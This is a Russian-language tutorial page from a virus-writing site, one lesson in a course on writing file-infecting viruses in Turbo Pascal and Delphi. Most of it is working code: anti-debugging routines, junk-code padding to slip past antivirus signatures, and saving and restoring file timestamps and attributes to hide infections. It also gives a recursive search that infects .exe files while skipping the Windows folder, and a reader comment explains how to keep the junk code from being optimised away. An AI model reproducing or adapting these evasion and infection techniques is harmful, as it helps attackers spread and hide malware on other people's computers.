Защита и маскировка HLL вирусов - Вирусология - Delphi - Каталог статей - Вирусология, взгляд из Delphi
Суббота, 10.12.2016, 21:31 Приветствую вас Гость | Группа "Гости" 


Меню сайта

Категории раздела
Вирусология [39]
Статьи о вирусах
Системные [0]
Работа с системой
Примеры [44]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Приколы [5]
Пишем шуточные програмки
Остальное [5]
Всё что не вошло

Помощь проекту

R106276538945
Z160640024212

Яндекс деньги
410011190732605

Недавние темы

Опрос
Пользуетесь ли Вы пиратской продукцией?
Всего ответов: 192

Главная » Статьи » Delphi » Вирусология

Защита и маскировка HLL вирусов
Антиотладочные приёмы - каждый вирус «убежавший» от своего хозяина имеет определённые шансы быть обнаруженным каким-либо знатоком ассемблера, который не поленится прогнать его через отладчик, тем самым, получив много полезной информации о работе виря. Как этого избежать? В общем-то ни как. Но можно принять меры, которые усложнят анализ вируса в отладчике и сделают его менее эффективным. Как мы это делаем? Для Turbo Pascal методы значительно отличаются от методов на Delphi и microDelphi, т.к. Pascal создаёт DOS приложения, а их работа в значительной мере отличается от работы WINDOWS приложений (WIN32). 
Во всех случаях реализация основана на вызове в самом начале выполнения программы процедуры AntiDBG, которая осуществляет проверку наличия отладки и если она имеется работа вируса завершается.
Разберёмся в реализации этой процедуры.
Turbo Pascal:
{$M 65520,0,0}
Uses Dos;

{$F+}
procedure ReBoot; Interrupt;
begin
  InLine($EA/$00/$00/$FF/$FF);
end;
procedure BreakOff; Interrupt;
begin
end;
{$F-}

Var
  O1h : Pointer;
  O3h : Pointer;
  Br : Pointer;
Begin
  GetIntVec($01 , O1H);
  SetIntVec($01 , @ReBoot);
  GetIntVec($03 , O3H);
  SetIntVec($03 , @ReBoot);
  GetIntVec($1B , Br);
  SetIntVec($1B , @BreakOff);
  SetCBreak(False);

  {Место для вашего кода}

  SetIntVec($01 , O1H);
  SetIntVec($03 , O3H);
  SetIntVec($1B , Br);
end. 

Delphi:
function IsDebuggerPresent:boolean; stdcall; external 'kernel32.dll' name 'IsDebuggerPresent';
procedure AntiDBG;
begin
if IsDebuggerPresent then ExitProcess(0);
end;

microDelphi:
function IsDebuggerPresent:boolean; stdcall; external 'kernel32.dll' name 'IsDebuggerPresent';
procedure ExitProcess(uExitCode: integer); stdcall; external 'kernel32.dll' name 'ExitProcess';
procedure AntiDBG;
begin
if IsDebuggerPresent then ExitProcess(0);
end;


Как видите суть метода заключается в использовании функции системного API – IsDebuggerPresent. Эта функция определяет наличие отладки. Главный минус этой реализации процедуры, заключается в общем-то в использовании этой функции. Многие антивири её не любят. Для того что бы совсем избавиться от применения WinApi можно применить вот такую процедурку:
procedure AntiDBG;
asm
  mov eax,fs:[00000018h]
  mov eax,[eax +30h]
  movzx eax,byte ptr [eax+02]
  cmp eax,1
  jne @na_vihod
  push 0
@na_vihod:
  ret
end;

Хочется отметить, что применение ассемблерных вставок в коде очень часто значительно повышает качество программы.
Существует масса других и более эффективных методов борьбы с отладкой, но на практике, если вирус попадёт в любую, даже самую мелкую антивирусную контору, все эти методы пойдут в отставку. Но применение определённых мер защиты, всё-таки необходимо – этикет понимаете ли. 

. Переходим к рассмотрению второго защитного приёма вирусов – наполнение мусором тела вируса. Этот метод позволяет, так же как и антиотладочные методы запутать чуткие мозги тех, кто суёт свой нос в вирус. Так же наполнение мусором позволяет избежать реакции антивируса на вирусы, которые уже попали в базы антивирусов. Например, вы что-то написали, а оно попало в базы. Наполнив мусором исходник и перекомпилировав вирус, можно избавиться от криков антивируса. Наполнить мусором можно многими способами и их совокупностью, привожу пример этих способов:
1)Случайная вставка мусорной глобальной переменной.
2)Случайна вставка вызова мусорной процедуры/функции.
3)Случайная вставка вызова антиотладочной процедуры AntiDBG.
Для рассмотрения примеров возьмём исходник:
begin
a:=b+c;
d:=b-c;
e:=b*c;
end.

теперь замусорим этот исходник тремя способами.

1 способ:
var 
trash:integer;
begin
trash:=a;
trash:=123; trash:=-37854;
a:=b+c;
trash:=b;
trash:=c; trash:=563;
d:=b-c;
trash:=a-1234; trash:=777;
e:=b*c;
trash:=11111;
end.


2 способ:
Procedure Gadost(i:integer);
var
  a,b:integer;
begin
i:=123;
b:=635;
i:=0;
i:=a+b;
end;
begin
Gadost(1234); Gadost(3456);
a:=b+c; Gadost(4567);
d:=b-c; Gadost(146);
e:=b*c; Gadost(a);
Gadost(e);
end.


3 способ:
begin
a:=b+c; AnitDBG;
d:=b-c; AnitDBG; AnitDBG;
e:=b*c; AnitDBG;
AnitDBG;
end.


Можно применить все вместе, в этом случае эффект будет лучше.


. Переходим к рассмотрению методов маскировки в HLL вирусах. При работе вируса, он изменяет файлы, а некоторые злобные антивирусы создают свои базы данных с атрибутами файлов, датами и временем создания, и при изменении этих параметров очень тщательно исследуют эти файлы. Так как эти дела нам совсем не на пользу, мы перед изменением файлов будем сохранять эти значения, а после изменения их обратно восстанавливать. Так же у вируса будут большие проблемы с изменением файлов имеющих атрибуты: только чтение и системный, поэтому после сохранения атрибутов, мы будем сбрасывать атрибуты файлов в 0. Реализуется весь этот алгоритм с помощью одной процедуры, я назвал её, для наглядности AttrDateTime, процедура будет иметь два параметра: Путь к файлу и действие (0 – сохранить параметры и сбросить атрибут, 1 – восстановить параметры). Процедура будет в вирусе вызываться дважды в процедуре Infect – в начале процедуры с параметром 0, а в конце (после заражения) с параметром 1. Т.о. образно процедура заражения будет иметь вид:
Procedure Infect(параметр);
Begin
AttrDateTime(0);
{Тут все остаётся так же как и было…}
AttrDateTime(1);
end;

Ну, а теперь осталось разобраться в реализации процедуры AttrDateTime, во всех её трёх вариантах, как обычно, в общем.
Turbo Pascal:
var
  Attr : word;{Глобальная переменная для сохранения атрибута}
  DaTi : LongInt;{ Глобальная переменная для сохранения даты и времени}
Procedure AttrDateTime(path:string;stat : byte);
{Процедура сохранения атрибутов, даты и времени}
var
  f : file;
begin
  case stat of{выбор действия}
  0:begin{сохранение и обнуление}
  Assign(f,path);
  GetFTime(f,DaTi);{сохраняем дату и время}
  GetFAttr(f,Attr);{сохраняем атрибуты}
  SetFAttr(f,0);{обнуляем атрибуты}
  end;
  1:begin
  Assign(f,path);
  SetFTime(f,DaTi);{восстанавливаем дату и время}
  SetFAttr(f,Attr);{восстанавливаем атрибуты}
  end;
  end;
end;

Delphi:
var
  Attr : integer;
  t1,t2,t3:PFileTime;
Procedure AttrDateTime(path:PChar;stat : byte);
var
  f : integer;
begin
  case stat of
  0:begin
  attr:=GetFileAttributes(path);{сохраняем атрибут}
  F:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil,
  OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); {открываем для чтения}
  GetFileTime(F,t1,t2,t3); {}
  CloseHandle(F); {закрываем файл}
  SetFileAttributes(path,0);{обнуляем атрибут}
  end;
  1:begin
  SetFileAttributes(path,attr);{восстанавливаем атрибут}
  F:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil,
  OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);{открываем для чтения}
  SetFileTime(f,t1,t2,t3);{востанавливаем время}
  CloseHandle(F);{закрываем файл}
  end;
  end;
end; 

microDelphi
type
  PFileTime = ^TFileTime;
  TFileTime = record
  dwLowDateTime: integer;
  dwHighDateTime: integer;
  end;

var
  Attr : integer;
  t1,t2,t3:PFileTime;

function GetFileTime(hFile: THandle; lpCreationTime, lpLastAccessTime, lpLastWriteTime: PFileTime): BOOLEAN; stdcall; external kernel32 name 'GetFileTime';
function GetFileAttributes(lpFileName: PChar): integer; stdcall; external kernel32 name 'GetFileAttributesA';
function SetFileAttributes(lpFileName: PChar; dwFileAttributes: integer): BOOLEAN; stdcall; external kernel32 name 'SetFileAttributesA';
function SetFileTime(hFile: THandle; lpCreationTime, lpLastAccessTime, lpLastWriteTime: PFileTime): BOOLEAN; stdcall; external kernel32 name 'SetFileTime';

Procedure AttrDateTime(path:PChar;stat : byte);
var
  f : integer;
begin
  case stat of
  0:begin
  attr:=GetFileAttributes(path);{сохраняем атрибут}
  F:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil,
  OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); {открываем для чтения}
  GetFileTime(F,t1,t2,t3); {}
  CloseHandle(F); {закрываем файл}
  SetFileAttributes(path,0);{обнуляем атрибут}
  end;
  1:begin
  SetFileAttributes(path,attr);{восстанавливаем атрибут}
  F:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil,
  OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);{открываем для чтения}
  SetFileTime(f,t1,t2,t3);{востанавливаем время}
  CloseHandle(F);{закрываем файл}
  end;
  end;
end;


Если кому-то не хочется громоздить процедуру, можете перенести её прямо в Infect. Как это делать? Думаю это не вопрос. 

. Переходим к рассмотрению ещё одной полезной фишки - незаражение в системных папках и папках антивирусов. В чем тут суть? Да все просто. Не стоит давать вирусу заражать папку винды – т.к. это глупо, ведь рано или поздно, вирус убьет систему и погибнет в процессе её форматирования, а это ни есть гуд. Не к чему это. Т.о. в наших интересах исключить заражение в этой папках. Как мы это реализуем? Необходимо в процедуре поиска сделать проверку на ненужную папку, т.е. перед тем как лезть в папку и её вложенности мы проверяем нужно ли это делать. Проверку папки «на вшивость» будет делать функция CheckWinDir, которой будет даваться путь к папке, а она будет возвращать true, если папку можно открывать и false если папка винды. Ниже я приведу на примере процедуры поиска файлов на Turbo Pascal, образец того как правильно прикрутить процедуру CheckWinDir к процедуре FindFile. Далее мы разберёмся как реализовать процедуру CheckWinDir, в трёх вариантах.
procedure FindFile(dir:pathstr);{Каталог поиска}
var
  sr : searchrec;
begin
  findfirst(dir+'*.exe',39,sr);{Ищем первый файл}
  if CheckWinDir(Dir) then {Проверка папки}{+}
  while doserror=0 do{Выполнять поиск до появления ошибки}
  begin
  if CheckInfect(dir+sr.name) then{Если файл не заражен то..}
  Infect(dir+sr.name);{Заражаем}
  findnext(sr);{Ищем следующий}
  end;
  findfirst(dir+'*.',55,sr);{После того как в папке найдены все файлы ищем первую папку в текущей папке}
  while doserror=0 do{Выполняем до появления ошибки}
  begin
  with sr do
  if (attr and directory<>0){если атрибут файла - directory } 
  and (name[1]<>'.'){Первый символ имени точка} 
  and (length(dir)<63){и длина строки к папке не более 63 символов}
  then FindFile(dir+name+'\');{Вызываем поиск в найденной папке - рекурсия}
  findnext(sr);{ищем следующий}
  end;
end;


По аналогии с Turbo Pascal мы имеем ту же ситуацию и с Delphi и microDelphi, но смысла приводить процедуры поиска я не вижу, т.к. это слишком просто, что бы занимать место в статье. Поэтому переходим к рассмотрению реализаций процедур CheckWinDir.
Turbo Pascal:
function CheckWinDir(dir : string):boolean;
var
  b : boolean;
  d : string;
begin
  d:=GetEnv('SystemRoot');{Определяем папку винды}
  if pos(d,dir)<>0{если в пути к файлу есть строка папки винды}
  then b:=false{не заражаем}
  else b:=true;{заражаем}
  CheckDir:=b;{инициализация функции}
end;

Delphi:
function CheckWinDir(dir : string):boolean;
var
  d : string;
begin
  d:=SysUtils.GetEnvironmentVariable('SystemRoot');{Определяем папку винды}
  if pos(d,dir)<>0{если в пути к файлу есть строка папки винды}
  then Result:=false{не заражаем}
  else Result:=true;{заражаем}
end;

microDelphi:
function GetWindowsDirectory(lpBuffer: PChar; uSize: integer): integer; stdcall; external kernel32 name 'GetWindowsDirectoryA';
function lstrlen(lpString: PChar): Integer; stdcall; external kernel32 name 'lstrlenA';
function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA';

function CheckWinDir(dir : PChar):boolean;
var
  d,dd : PathBuf;
  i,ii : integer;
begin
  GetWindowsDirectory(d, MAX_PATH);//Путь к папке винды
  i:=LStrLen(d);//длмна строки
  for ii:=0 to i-1 do dd[ii]:=dir[ii];//перенос во времменую переменную
  if LStrCMP(dd,d)=0{если в пути к файлу есть строка папки винды}
  then Result:=false{не заражаем}
  else Result:=true;{заражаем}
end;


. Переходим к последнему вопросу этого урока – обработка ошибок записи в файл. Я думаю, вы и сами понимаете для чего это нужно. При расшаривании системы вирь постоянно открывает файлы, а при заражении открывает для записи, т.е. если файл будет запущен, то у вируса будут проблемы и не исключён выход из программы аварийно. Т.о. перед тем, как заражать уже не один раз перепроверенный по разным критериям файл, нам необходимо его ещё раз проверить, в этот раз на запущенность. Кстати ошибка может возникнуть и по той причине, что прога используется другой прогой или установлен атрибут: системный или только чтение. Далее мы рассмотрим примеры того как избежать этих ошибок. 
При использовании в Turbo Pascal процедуры для работы с файлами: Assign как и в Delphi процедуру AssignFile, необходимо применять следующий механизм избегания ошибок:
var
F : text;
begin
{$I-}{Отключаем стандартную обработку ошибок ввода/вывода}
Assign(f,’c:\1.txt’);
Reset(f);{пытаемся открыть файл}
Writeln(f,’teststring’);{пытаемся в него записать}
If IOResult=0 {если IOResult – 0 то ни где нет ошибки и наоборот}
then Writeln(‘запись прошла успешно’)
else Writeln(‘при записи возникла ошибка :’,IOResult);
Close(f);{закрываем}
{$I+}{Включаем стандартную обработку ошибок}
end;


Как видите всё просто. Если не отключить обработчик ошибок – при попытке совершить невозмождное действие прога вылетит с ошибкой. Вот тот же исходник на Delphi:
var
F : textfile;
begin
{$I-}{Отключаем стандартную обработку ошибок ввода/вывода}
AssignFile(f,’c:\1.txt’);
Reset(f);{пытаемся открыть файл}
Writeln(f,’teststring’);{пытаемся в него записать}
If IOResult=0 {если IOResult – 0 то ни где нет ошибки и наоборот}
then Writeln(‘запись прошла успешно’)
else Writeln(‘при записи возникла ошибка :’,IOResult);
CloseFile(f);{закрываем}
{$I+}{Включаем стандартную обработку ошибок}
end;


На microDelphi, код ошибок ввода вывода возвращается в саму функцию. Привожу пример, того как надо делать, что бы не вылетали - IO Error 102/103. 

Const
  Buf = ‘teststring’;
Var
  F ,N: integer;
Begin
f:=CreateFile(’c:\1.txt’, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1);
  //Открываем файл приёмник
  if f=-1 then exit;//Если ошибка то выход
  WriteFile(f, Buf, SizeOF(Buf), N, nil);//Пишем в приёмник
  CloseHandle(f);//Закрытие файла
End;


Вот и всё. Я надеюсь этот урок вам помог и вы ещё не раз его перечитаете. Хочу вас поздравить с тем, что основной курс по вирусологии на языках высокого уровня вы, можно сказать уже прошли. Далее будут масса полезных уроков с дополнительным материалом и примерами боевых вирусов. Удачи.


xakep.su


Категория: Вирусология | Добавил: dolphin (06.05.2009)
Просмотров: 2329 | Комментарии: 1 | Рейтинг: 5.0/1

Всего комментариев: 1
avatar
1
var
trash:integer;
begin
trash:=a;
trash:=123; trash:=-37854;
a:=b+c;
trash:=b;
trash:=c; trash:=563;
d:=b-c;
trash:=a-1234; trash:=777;
e:=b*c;
trash:=11111;
end.

По умолчанию в Delphi стоит ключ компиляции O+ (включить оптимизацию), с которым тому подобный код будет пропущен при компиляции. Так что не забудте отключить оптимизацию!

avatar
Профиль


Логин:
Пароль:

Поиск

Наша кнопка

Вирусология, взгляд из Delphi



Статистика
HSDN :: Рейтинг сайтов WOlist.ru - каталог качественных сайтов Рунета Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 364
Форум: 1128/7979
Коментариев: 760
Новостей: 27

Статистика пользователей
Всего: 385
За неделю: 2
Вчера: 0
Сегодня: 0
Всего онлайн: 2
Гостей: 2
Пользователей: 0

delfcode.ru © 2008 - 2016 Хостинг от uCoz